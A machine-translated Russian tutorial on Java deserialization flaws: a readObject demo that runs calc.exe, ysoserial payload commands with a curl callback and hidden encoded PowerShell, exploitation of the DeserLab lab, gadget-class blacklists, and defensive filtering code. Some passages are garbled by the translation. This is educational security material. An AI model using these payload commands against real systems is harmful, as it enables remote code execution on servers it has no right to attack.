Сообщество Prophet Security Technology публикует исключительно статьи, если вам нужно перепечатать, обратитесь к сообществу за разрешением; пожалуйста, не перепечатывайте без разрешения.
предисловие
За последние два года популярность и доля Java на рынке оставались стабильными и увеличивались.Согласно данным за 2017 год, уровень занятости и среднегодовая заработная плата программистов Java находятся на первом месте среди многих языков.Благодаря усилиям крупных учебных курсов, 17 Выпуск Java-программистов также резко вырос в 2018 году. Java, действительно, хорошо зарекомендовавший себя язык. Начался 2018 год, и все сосредоточены на написании собственных ошибок~ Шучу... Впрочем, с точки зрения аудита кода, это предложение не слишком много. Среди многих уязвимостей большинство уязвимостей десериализации имеют самую «блестящую» производительность.Начиная с Apache Commons, который в течение 15 лет затрагивал такие крупные фреймворки, как WebSphere, JBoss, Jenkins и WebLogic, Уязвимость удаленного выполнения команд десериализации коллекций, до бури майнинга, вызванной десериализацией WebLogic XML в конце 2017 года, уязвимости десериализации были в пути...
Основы Java, необходимые для изучения этой серии статей:
-
Понимание основного синтаксиса и структуры Java (учебник для начинающих)
-
Понять идею объектно-ориентированного программирования на Java (для быстрого понимания, пожалуйста, прочитайте статью на Zhihu, а для углубленного изучения рекомендуется купить эту книгу «Безумные лекции по Java». Кроме того, есть обучающее видео г-на Лю И, о котором вы можете узнать, в котором введение объектно-ориентированного мышления более подробно описано. 2FJava%E7%B1%BB Пароль: kk0x)
-
Базовое использование Eclipse (самостоятельный Baidu)
На самом деле, пока вы взяли класс Java в колледже, или научили себя за короткий промежуток времени, все в порядке. Если нет, ресурсы в скобках могут быть освоены за короткое время.
Цель этого урока:
-
Овладейте принципом уязвимости десериализации.
-
Уязвимости десериализации можно найти и использовать в реальном бою.
-
Овладейте навыками программирования, чтобы разумно избежать уязвимостей десериализации.
Основы сериализации и десериализации
Что такое сериализация и десериализация
Java - это описание «мира», программа начала бегать, этот «мир» также работает, но «мир» не является статическим объектами, его свойства будут изменяться в качестве программы. Но во многих случаях нам нужен момент, чтобы сохранить информацию об объекте, чтобы что-то сделать. Такие, как состояние использования объекта для десериализации программы, работающего в двоичной форме, хранятся в файловой системе и может восстановить объект для десериализации данных состояния сериализованного объекта в другой программе. Может эффективно достичь связи между многоплатформенным магазином настойчивом объекте.
Для успешной сериализации объекта класса должны быть выполнены два условия:
-
Класс должен реализовывать интерфейс java.io.Serializable.
-
Все свойства класса должны быть сериализуемыми. Если свойство не сериализуемо, оно должно быть помечено как эфемерное.
Если вы хотите узнать, является ли стандартный класс Java сериализуемым, вы можете проверить, реализует ли класс интерфейс java.io.Serializable, изучив документацию класса.
Напишем простое демо.В целях экономии объема статьи здесь упрощены операции сериализации и десериализации, а также опущен процесс передачи.Класс, к которому относится объект:
/**
* Description:
* <br/>网站: <a href="http://ph0rse.me">Ph0rse's Blog</a>
* <br/>Copyright (C), 2018-2020, Ph0rse
* <br/>This program is protected by copyright laws.
* <br/>Program Name:
* <br/>Date:
* @author Ph0rse prudenidealist@outlook.com
* @version 1.0
*/
public class Employee implements java.io.Serializable
{
public String name;
public String identify;
public void mailCheck()
{
System.out.println("This is the "+this.identify+" of our company");
}
}
скопировать код
Сериализировать объект в двоичный файл:
//反序列化所需类在io包中
import java.io.*;
public class SerializeDemo
{
public static void main(String [] args)
{
Employee e = new Employee();
e.name = "员工甲";
e.identify = "General staff";
try
{
// 打开一个文件输入流
FileOutputStream fileOut =
new FileOutputStream("D:\\Task\\employee1.db");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(e);
out.close();
fileOut.close();
System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
}catch(IOException i)
{
i.printStackTrace();
}
}
}
скопировать код
Объект, свойство Identity которого имеет значение Visits, хранится в файле employee1.db, а операция десериализации заключается в извлечении объекта из двоичного файла:
import java.io.*;
public class SerializeDemo
{
public static void main(String [] args)
{
Employee e = null;
try
{
// 打开一个文件输入流
FileInputStream fileIn = new FileInputStream("D:\\Task\\employee1.db");
// 建立对象输入流
ObjectInputStream in = new ObjectInputStream(fileIn);
// 读取对象
e = (Employee) in.readObject();
in.close();
fileIn.close();
}catch(IOException i)
{
i.printStackTrace();
return;
}catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
System.out.println("Deserialized Employee...");
System.out.println("Name: " + e.name);
System.out.println("This is the "+e.identify+" of our company");
}
}
скопировать код
Таким образом, завершается полный цикл сериализации.По сути, сериализация в практических приложениях есть не что иное, как чуть более сложный способ передачи и механизм передачи, мало чем отличающийся от этой демонстрации.
PS: try и catch являются механизмами обработки исключений и не имеют прямого отношения к операциям сериализации. Если вы хотите углубиться в программирование на Java, рекомендуется купить копию «Безумных лекций по Java», а также PPT для изучения Java от г-на Цзинь Сюляна (рекомендуется)
Демонстрация уязвимости простой десериализации
При десериализации Java будет вызываться десериализованный метод readObject, когда метод readObject написан неправильно, возникает уязвимость.
PS: Иногда для чтения объектов используется метод readUnshared().
//反序列化所需类在io包中
import java.io.*;
public class test{
public static void main(String args[]) throws Exception{
UnsafeClass Unsafe = new UnsafeClass();
Unsafe.name = "hacked by ph0rse";
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将Unsafe对象写入object文件
os.writeObject(Unsafe);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class UnsafeClass implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行命令
Runtime.getRuntime().exec("calc.exe");
}
}
скопировать код
Логика работы программы такова:
-
Класс UnsafeClass сериализуется в объектный файл.
-
восстановить объект из объектного файла
-
Метод READOBJECT для вызова восстановленного объекта
-
выполнение команды
Происхождение уязвимости десериализации
ошибки развития
Предыдущая демонстрация является примером отсутствия проверки безопасности десериализации вообще, но ни один программист не будет писать такой умственно отсталый код в реальном бою. Таким образом, общие уязвимости десериализации, возникающие во время разработки, следующие:
-
Обнаружение можно обойти, переопределив метод resolveClass объекта ObjectInputStream.
-
Используйте сторонние классы для управления черным списком. Хотя строгость языка Java намного выше, чем у PHP, почти невозможно использовать механизм черного списка для отключения всех опасных объектов в больших приложениях. Поэтому, если в процессе аудита будет обнаружен код, использующий черный список для фильтрации, вероятно, есть одна или две «рыбы, проскользнувшие через сеть», которые можно использовать. И метод черного списка может только гарантировать безопасность на данный момент, если новые функции будут добавлены на более позднем этапе, могут быть введены новые методы эксплуатации уязвимостей. Поэтому безопасность процесса сериализации не может быть гарантирована одним только черным списком.
Скрытая уязвимость десериализации в базовой библиотеке
Отличные Java-разработчики обычно программируют в соответствии со спецификациями безопасного программирования, что значительно снижает вероятность возникновения уязвимостей десериализации. А некоторые зрелые Java-фреймворки, такие как Spring MVC, Struts2 и т. д., имеют соответствующие механизмы для предотвращения десериализации. Если это просто ошибка разработки, уязвимости десериализации могут возникать редко, а если и возникают, то методы обхода и методы использования относительно сложны. Но на самом деле большая доля уязвимостей десериализации вызвана использованием небезопасных базовых библиотек. Библиотека классов Apache Commons Collections, обнаруженная в 2015 году хакерами Габриэлем Лоуренсом и Крисом Фрохоффом, напрямую влияет на крупные фреймворки, такие как WebLogic, WebSphere, JBoss, Jenkins, OpenNMS и т. д. Влияние уязвимости не рассеялось и по сей день. Опасная базовая библиотека:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
скопировать код
Некоторое программное обеспечение защиты от десериализации защищает программы, отключая десериализацию следующих классов:
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'
скопировать код
Процесс вызова в базовой библиотеке, как правило, сложнее, напримерorg.apache.commons.collections.functors.InvokerTransformer
Поп-цепь компании включает в себя отражение, дженерики и т. Д., И есть много статей в Интернете, которые воспроизводят процесс отслеживания, такие как две статьи, опубликованные пророком несколько дней назад. Уязвимость в Java Deserialization - Commonscollection из уязвимости черного железа (Top) уязвимости Java десериализации - Commonscollection из черного железа EPEE (дна) Я не буду вдаваться в подробности здесь, вы можете следить за Exp ysoserial на исходный код шаг за шагом, отладки.
POP Gadgets
Здесь вводится понятие. Гаджеты POP относятся к цепочке кода, которая проходит через серию вызовов, внося сериализованные данные. POP относится к программированию, ориентированному на свойства, которое представляет собой программирование, ориентированное на свойства, которое очень похоже на ROP с обратной стороны. Свойственно-ориентированное программирование (Property-Oriented Programming) часто используется в языке верхнего уровня для построения определенного метода цепочки вызовов, подобно принципу возвратно-ориентированного программирования (Return-Oriented Programming) в бинарном использовании. вызовы инструкций, а затем формируют набор непрерывных цепочек вызовов в соответствии с требованиями. После управления потоком выполнения кода или программы вы можете использовать этот набор цепочек вызовов для выполнения некоторой работы. Разница между ними заключается в том, что ROP уделяет больше внимания нижнему слою, а POP — только вызывающим отношениям между объектами. Гаджеты означает гаджеты, POP Гаджеты — это инструмент эксплойтов и цепочка эксплойтов для атрибутивно-ориентированного программирования. Когда мы определяем запись, которая может принести сериализованные данные, нам нужно найти соответствующую цепочку POP. Базовые библиотеки и фреймворки, упомянутые выше, просто обеспечивают среду, которая может заставить команды выполнять цепочки POP, поэтому введение управляемых пользователем сериализованных данных и использование небезопасных базовых библиотек означает наличие уязвимости десериализации. С углублением уязвимости десериализации мы постепенно поймем, что трудно полностью очистить историческое наследие незащищенной базовой библиотеки, поэтому ясно, что корень уязвимости все еще находится в ненадежном вводе и необнаруженных объектах десериализации безопасности. .
Механизм триггера десериализации в базовой библиотеке относительно сложный и низкоуровневый, за ним можно следить с помощью exp в исходном коде ysoserial для последующего анализа.
Это будет подробно объяснено позже в этой статье.
Как обнаружить уязвимости десериализации Java
Обнаружение белого ящика
Когда у вас есть исходный код программы, вы можете использовать этот метод для обратного поиска уязвимостей.
Deserizize Общее применение для импорта файла шаблона, сетевой связи, передачи данных, формата хранения журнала, данные объекта с диска или другой хранилище DB в бизнес-сценариях. Следовательно, процесс аудита сосредоточен на этих функциональных блоках.
Процесс выглядит следующим образом:
① Статически найдите точку ввода десериализации, извлекая вызов функции десериализации в исходном коде.Вы можете искать следующие функции:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
скопировать код
Десятичная точка — это имя класса, за которым следует имя метода.
② После определения точки ввода десериализации проверьте, содержит ли путь к классу приложения опасные библиотеки, такие как Apache Commons Collections (также можно использовать другие библиотеки, поддерживаемые ysoserial).
③ Если опасная библиотека не включена, проверьте некоторые области кода, связанные с выполнением команд и кода, чтобы предотвратить неточность программистов и появление ошибок.
④ Если включена опасная библиотека, используйте ysoserial для воспроизведения атаки.
обнаружение черного ящика
В тесте «черный ящик» структура кода другой стороны не ясна, но все же возможно проанализировать блок шестнадцатеричных данных, заблокировать сайт вызова некоторых уязвимых общих базовых библиотек (таких как Apache Commons Collection) и выполнить данные замена, чтобы реализовать использование. В реальном боевом процессе мы можем обнаружить сериализованные данные, которые могут существовать в запросе, путем захвата пакетов. Сериализованные данные обычно начинаются сAC ED
Старт, следующие два байта - это номер версии, номер версии обычно00 05
Но в некоторых случаях это может быть и большее число. Чтобы понять стиль десериализованных данных, воспользуемся следующим примером кода:
import java.io.*;
public class SerializeDemo
{
public static void main(String [] args)
{
Employee e = new Employee();
e.name = "员工甲";
e.identify = "General staff";
try
{
// 打开一个文件输入流
FileOutputStream fileOut =
new FileOutputStream("D:\\Task\\employee1.db");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(e);
out.close();
fileOut.close();
System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
}catch(IOException i)
{
i.printStackTrace();
}
}
}
скопировать код
Запустите его в локальной среде, чтобы увидеть сгенерированный файл employee1.db. Сгенерированные десериализованные данные employee1.db (открытые с помощью Winhex, Sublime и других инструментов):
должны знать о том,AC ED 00 05
Обычно начинают с сериализованных данных, но некоторые приложения поддерживают сетевое подключение к серверу на протяжении всего времени выполнения, и обнаружение этих четырех байтов неэффективно, если полезная нагрузка отправляется с задержкой. Поэтому некоторые инструменты брандмауэра обнаруживают только эти несколько байтов, когда обнаружение десериализованных данных является небезопасной настройкой.
Поэтому нам также необходимо обнаруживать имена классов Java, которые появляются во время дампа сериализации.Имена классов Java могут появляться в альтернативном формате, который начинается с «L», заканчивается «;» и использует косую черту для разделения пространств имен и имени класса (например, "Ljava/rmi/dgc/VMID;"). В дополнение к имени класса Java, из-за соглашений спецификации формата сериализации, есть некоторые другие общие строки, такие как: 'sr', представляющий объект (TC_OBJECT), за которым следует описание его класса (TC_CLASSDESC) или, возможно, не представляющий суперкласс (TC_NULL) Аннотация класса (TC_ENDBLOCKDATA) «xp» для класса.
После идентификации сериализованных данных необходимо найти точку вставки.Существуют следующие шестнадцатеричные таблицы сравнения для разных типов данных:
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM
скопировать код
AC ED 00 05
За ним может следовать приведенный выше спецификатор типа данных или за ним может следовать77(TC_BLOCKDATA元素)
или7A(TC_BLOCKDATALONG元素)
Затем следуйте данным блока.
Информация о сериализованных данных состоит из информации об объекте в соответствии с определенными правилами, тогда мы также можем обратно вывести тип данных и другую информацию в информации о данных в соответствии с этим правилом. А есть Даниил, написавший готовый инструмент-SerializationDumper
Применение:java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e6572616c207374616666740009e59198e5b7a5e794b2
Следующая шестнадцатеричная строка представляет собой сериализованные данные.
После того, как инструмент автоматически проанализирует содержащийся тип данных, он может заменить TC_BLOCKDATE для замены.AC ED 00 05
После кодировки Base64 этоrO0AB
В реальном боевом процессе мы можем перехватывать TCP/HTTP-запросы через tcpdump, автоматизировать обнаружение с помощью SerialBrute.py и вставлять exp, сгенерированный ysoserial. SerialBrute.py -r <file> -c <command> [opts]
SerialBrute.py -p <file> -t <host:port> -c <command> [opts]
Используйте ysoserial.jar для доступа к записи запроса, чтобы определить, успешно ли эксплуатируется уязвимость десериализации:java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '
Если вы подозреваете, что в веб-приложении есть уязвимости десериализации Java, вы можете отсканировать и внедрить его порт RMI или JMX (по умолчанию 1099) с помощью вышеуказанных методов.
Экологические испытания
Здесь мы используем DeserLab, написанную Даниэлем, для имитации реальной боевой обстановки.
Демо-версия DeserLab
DeserLab — это простое приложение сетевого протокола, использующее библиотеку Groovy для реализации функции отправки сериализованных данных от клиента на сервер. Библиотека Groovy, как и описанная выше библиотека Apache Commons Collection, имеет цепочку POP, которую можно использовать. Мы можем использовать упомянутые выше серийные и онлайн-генераторы нагрузки для симуляции эксплуатации. Воспроизвести среду:
-
win10
-
python2.7
-
java1.8
Сначала сгенерируйте полезную нагрузку.Поскольку она находится в среде Windows, в качестве вектора атаки используется powershell.Создание полезной нагрузки для библиотеки Groovy с помощью ysoserialjava -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgA MAByAHMAZQA=" > payload2.bin
Загрузите DeserLab.jar со страницы проекта DeserLab Github и используйте его в командной строке.java -jar DeserLab.jar -server 127.0.0.1 6666
Запустите локальный сервер.
Используйте скрипт deserlab_exploit.py [загрузите на свою собственную страницу GitHub] для создания полезной нагрузки:python deserlab_exploit.py 127.0.0.1 6666 payload2.bin
PS: обратите внимание на использование py2.7
Напишите успешно:Для выполнения произвольных команд
исправление десериализации
Каждый Java-программист должен овладеть навыками программирования, чтобы предотвратить уязвимости десериализации и уменьшить вред, причиняемый приложениям опасными библиотеками.
Вызов опасного базового класса
После загрузки jar поместите его в путь к классам, замените java.io.ObjectInputStream в коде приложения на SerialKiller, а затем настройте его, чтобы разрешить или отключить некоторые проблемные классы. SerialKiller имеет несколько функций Hot-Reload, Whitelisting и Blacklisting. Доверенный тип после десериализации внешнего ввода.
Проверьте десериализованный класс с помощью Hook resolveClass.
При использовании readObject() для десериализации сначала будет вызываться метод resolveClass для чтения имени десериализованного класса, поэтому здесь проверка десериализованного класса может быть реализована путем переопределения метода resolveClass объекта ObjectInputStream. Конкретный код реализации Demo выглядит следующим образом:
public class AntObjectInputStream extends ObjectInputStream{
public AntObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}
/**
* 只允许反序列化SerialObject class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
скопировать код
С помощью этого метода можно гибко задать белый список классов, которым разрешена десериализация, а также установить черный список классов, которым не разрешена десериализация. Однако постоянно обнаруживается использование уязвимостей десериализации, черный список необходимо обновлять и поддерживать, а неопубликованные методы эксплуатации не могут быть охвачены.
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.fileupload
org.apache.commons.beanutils
скопировать код
Согласно приведенным выше методам, существует пакет SerialKiller, реализующий потоки для Daniel.
Используйте ValidatingObjectInputStream для проверки десериализованных классов.
Используйте метод accept класса ValidatingObjectInputStream в пакете сериализации ввода-вывода Apache Commons для реализации управления белым/черным списком класса десериализации.Подробности см. во введении ValidatingObjectInputStream; пример кода выглядит следующим образом:
private static Object deserialize(byte[] buffer) throws IOException,
ClassNotFoundException , ConfigurationException {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
// Use ValidatingObjectInputStream instead of InputStream
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
//只允许反序列化SerialObject class
ois.accept(SerialObject.class);
obj = ois.readObject();
return obj;
}
скопировать код
Используя контрастные атаки десериализации защиты от RO0 RO0
convert-rO0 — это облегченная программа-агент, которая защищает от эксплойтов десериализации, переписывая ObjectInputStream. Используйте в нем класс SafeObjectInputStream для реализации управления белым/черным списком класса десериализации.Пример кода выглядит следующим образом:
SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true);
in.addToWhitelist(SerialObject.class);
in.readObject();
скопировать код
Используйте ObjectInputFilter для проверки десериализованных классов.
Java 9 включает новые функции, поддерживающие фильтрацию сериализованных данных. Разработчики также могут наследовать класс java.io.ObjectInputFilter и переписать метод checkInput для реализации пользовательского фильтра, а также использовать setObjectInputFilter объекта ObjectInputStream, чтобы установить фильтр для достижения десериализации. управление белым/черным списком. Пример кода выглядит следующим образом:
import java.util.List;
import java.util.Optional;
import java.util.function.Function;
import java.io.ObjectInputFilter;
class BikeFilter implements ObjectInputFilter {
private long maxStreamBytes = 78; // Maximum allowed bytes in the stream.
private long maxDepth = 1; // Maximum depth of the graph allowed.
private long maxReferences = 1; // Maximum number of references in a graph.
@Override
public Status checkInput(FilterInfo filterInfo) {
if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth|| filterInfo.streamBytes() > maxStreamBytes) {
return Status.REJECTED;
}
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
if (SerialObject.class == filterInfo.serialClass()) {
return Status.ALLOWED;
}
else {
return Status.REJECTED;
}
}
return Status.UNDECIDED;
} // end checkInput
} // end class BikeFilter
скопировать код
Приведенный выше пример кода позволяет десериализовать только объекты класса SerialObject.
Запретить JVM выполнять внешнюю команду Runtime.exec
Расширяя SecurityManager
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 创建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager,保护自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}
@Override
public void checkPermission(Permission perm) {
check(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};
System.setSecurityManager(sm);
}
скопировать код
Устаревший черный список
Установка черного списка классов во время десериализации для предотвращения эксплойтов десериализации и атак не является рекомендуемым методом восстановления исходного кода, потому что вы не можете гарантировать, что будут покрыты все возможные классы, и есть новые эксплойты. Когда полезная нагрузка выходит, черный список также необходимо обновляться, но в одном случае черный список может быть хорошим выбором. При написании кода я всегда инкапсулирую некоторые часто используемые методы в публичные классы, чтобы другим проектам нужно было только импортировать пакет jar.Я видел много публичных интерфейсов, которые предоставляют операции десериализации и используют сторонние библиотеки.Интерфейс десериализации не легко исправить с помощью белого списка. В настоящее время, как сторонняя библиотека, я не знаю, кто будет вызывать интерфейс и какие классы будут десериализованы, поэтому в настоящее время вы можете использовать метод черного списка, чтобы запретить десериализацию некоторых известных опасных классов. конкретные классы черного списка, пожалуйста, обратитесь к классу, содержащемуся в paylaod, в отличие от rO0 и ysoserial.
Суммировать
Я чувствую, что в реальных боевых действиях встречается все больше и больше Java-сайтов, и использование уязвимостей Java-десериализации становится все более и более важным. В дополнение к обычной десериализации веб-сервисов, десериализации Android, настольных приложений, промежуточного программного обеспечения, компонентов промышленного контроля и т. д. И XML (предыдущим событием майнинга Weblogic была десериализация Java, вызванная XMLDecoder), JSON, RMI и другие подробные классификации. Во время аудита кода и тестирования на проникновение вы можете прочитать переведённую мною шпаргалку по уязвимостям десериализации Java, в которой собраны документы текущей конференции в формате PPT, PDF, тестовый код и исследования уязвимостей, опубликованные авторитетными организациями по исследованию десериализации Java, а также список. приложений, скомпрометированных в результате десериализации (с приложенным POC). Это действительно огромная система знаний.Автор в настоящее время относительно неглубокий, и я надеюсь обсудить и учиться с мастерами в будущем.
↙↙↙ Нажмите «Читать исходный текст», чтобы просмотреть обсуждения в соответствующих темах.